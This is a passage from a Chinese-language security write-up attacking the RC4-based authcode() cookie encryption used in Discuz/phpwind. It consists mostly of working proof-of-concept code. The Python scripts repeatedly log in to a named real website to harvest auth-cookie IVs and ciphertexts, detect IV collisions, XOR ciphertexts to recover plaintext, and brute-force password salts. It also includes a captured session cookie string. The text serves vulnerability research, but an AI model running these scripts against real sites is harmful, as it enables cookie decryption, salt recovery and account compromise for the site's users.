$result .= "\\".ord($str[$i]);
}
return $result;
}
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
global $ckey_length;
//$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
//$xx = ''; // real key
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
//$xx .= chr($box[($box[$a] + $box[$j]) % 256]);
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
//echo "xor key is: ".hex($xx)."\n";
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ”;
}
} else {
return $keyc.str_replace(‘=’, ”, base64_encode($result));
}
}
?>
测试效果:
在实际互联网中,要强迫出现重复的IV也不是什么难事。IV不是保密信息,密文的前4字节就是IV的值。
以下演示代码,将从一个网站中遍历出重复的IV。
每次请求抓取到的密文和IV,会存放在本地数据库中。通过另一个程序周期性的查询数据库,看是否出现了重复的IV。根据birthday attack的原理,启动了两个抓取进程(注册了两个网站用户,以便产生出不同的明文用于加密),分别将取回的密文存在两张表里。两个抓取程序的代码是一样的。由于时间关系,没有再次优化这个POC了。
grab_cipher1.py:
======================================================================
import string
import urllib2
import urllib
#from urlparse import urlparse
import httplib
import Cookie
import sqlite3
import base64
import operator
#url = “http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1″
#req = urllib2.Request(url,data,headers)
#f = urllib2.urlopen(req)
# Step1 get cipher1 of plaintext1 to generate dictionary
dbcon = sqlite3.connect(‘./authcode.db’)
c = dbcon.cursor()
# 如果是第一次执行,需要创建表,之后则不再需要
#c.execute(‘CREATE TABLE photo003_2626(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)’)
dbcon.text_factory = str
for i in range(0,10000):
headers = {‘User-Agent’:'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20′,
‘Content-Type’:'application/x-www-form-urlencoded’,
‘Referer’:'http://photo003.com/’,
‘Cookie’:’79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779′}
data = {‘username’:'请替换username’,'password’:'请替换pass’,'quickforward’:'yes’,'handlekey’:'ls’}
data = urllib.urlencode(data)
conn = httplib.HTTPConnection(“photo003.com”)
conn.request(‘POST’,
‘/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1′,
data,
headers)
res = conn.getresponse()
if res:
cookies = Cookie.SimpleCookie()
cookies.load(res.getheader(“Set-Cookie”))
authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)
iv = authcookie[0:4]
cipher = base64.b64decode(authcookie[4:])
c.execute(‘INSERT INTO photo003_2626(iv, cipher) VALUES (?, ?)’,(iv, cipher))
dbcon.commit()
print str(i) + ‘ ‘ + iv
======================================================================
grab_cipher2.py:
======================================================================
import string
import urllib2
import urllib
#from urlparse import urlparse
import httplib
import Cookie
import sqlite3
import base64
import operator
#url = “http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1″
#req = urllib2.Request(url,data,headers)
#f = urllib2.urlopen(req)
# Step1 get cipher1 of plaintext1 to generate dictionary
dbcon = sqlite3.connect(‘./authcode.db’)
c = dbcon.cursor()
#c.execute(‘CREATE TABLE photo003_2630(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)’)
dbcon.text_factory = str
for i in range(0,10000):
headers = {‘User-Agent’:'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20′,
‘Content-Type’:'application/x-www-form-urlencoded’,
‘Referer’:'http://photo003.com/’,
‘Cookie’:’79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779′}
data = {‘username’:'请替换username2′,’password’:'请替换pass2′,’quickforward’:'yes’,'handlekey’:'ls’}
data = urllib.urlencode(data)
conn = httplib.HTTPConnection(“photo003.com”)
conn.request(‘POST’,
‘/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1′,
data,
headers)
res = conn.getresponse()
if res:
cookies = Cookie.SimpleCookie()
cookies.load(res.getheader(“Set-Cookie”))
authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)
iv = authcookie[0:4]
cipher = base64.b64decode(authcookie[4:])
c.execute(‘INSERT INTO photo003_2630(iv, cipher) VALUES (?, ?)’,(iv, cipher))
dbcon.commit()
print str(i) + ‘ ‘ + iv
======================================================================
crack_discuz_authcode.py:
======================================================================
import string
import urllib2
import urllib
#from urlparse import urlparse
import httplib
import Cookie
import sqlite3
import base64
import operator
import md5
import random
def crack(plain1, cipher1, cipher2):
plain2 = ”
for i in range(0,len(plain1)):
ch = operator.xor(ord(plain1[i]), ord(cipher1[i]))
plain2 += chr(operator.xor(ch, ord(cipher2[i])))
return plain2
def bytecode(st):
s = ”
for c in st:
s = s + str(ord(c)) + ‘,’
return s
def list_iv_collision():
dbcon = sqlite3.connect(‘./authcode.db’)
c = dbcon.cursor()
dbcon.text_factory = str
c.execute(‘select * from photo003_2626′)
r1 = c.fetchall()
c.execute(‘select * from photo003_2630′)
r2 = c.fetchall()
if r1 and r2:
for c1 in r1:
for c2 in r2:
if c1[1] == c2[1]:
print c1[1] + ‘ ‘ + c2[1]
c.close()
dbcon = sqlite3.connect(‘./authcode.db’)
c = dbcon.cursor()
dbcon.text_factory = str
list_iv_collision()
###################################
# 下面的代码尝试破解salt,此功能尚未完成
###################################
iv = “dee5″
pwd = “password”
c.execute(‘select * from photo003_2626 where iv=?’, (iv,))
r1 = c.fetchone()
c.execute(‘select * from photo003_2630 where iv=?’, (iv,))
r2 = c.fetchone()
if r1 and r2:
for x in range(0,99999999):
csets = “abcdefghijklmnopqrstuvwxyz0123456789″
salt = ”
for i in range(0,6):
salt += random.choice(csets)
plain1 = md5.new(md5.new(pwd).hexdigest() + salt).hexdigest() + ‘\t’ + ’2626′
#print salt
#print plain1
plain2 = crack(plain1, r1[2][26:], r2[2][26:] )
#print plain2
if plain1[0:32] == plain2[0:32]:
print salt
print ‘counter is:’ + str(x)
break
if x%100000 == 0:
print str(x) + ‘ ‘ + salt
c.close()
======================================================================
测试效果:
在十几分钟内就能收集到很多重复的IV。
通过这样的方法还能够破解salt,但由于时间关系,我没有继续完成此段代码了,有兴趣的读者可以继续研究下去。
authcode()函数由于有HMAC的存在因此无法伪造出任意明文的密文。这是因为HMAC的生成与服务端密钥有关,在未知密钥的情况下,是无法构造出合法的HMAC的。
最后,我想说的是,这些攻击最后能产生什么样的后果,是要看应用使用该加密算法做了什么事情。在phpwind中,我找到了验证码的一个缺陷。但由于时间关系,我并未去寻找更多有利用价值的地方。
这些攻击都是在“不知道密钥”的情况下实施的攻击。而渗透的过程是复杂的,有时候通过注入、文件包含等方式能够获取到密钥,就可能会衍生出另外一些风险。比如知道密钥后,可以构造出合法的时间戳和HMAC,从而完成bit-flipping攻击,使得一个本来失效的cookie再次有效(假设autchode不再认为0000000000的时间是合法的)。这些都需要发挥安全研究者的想象力。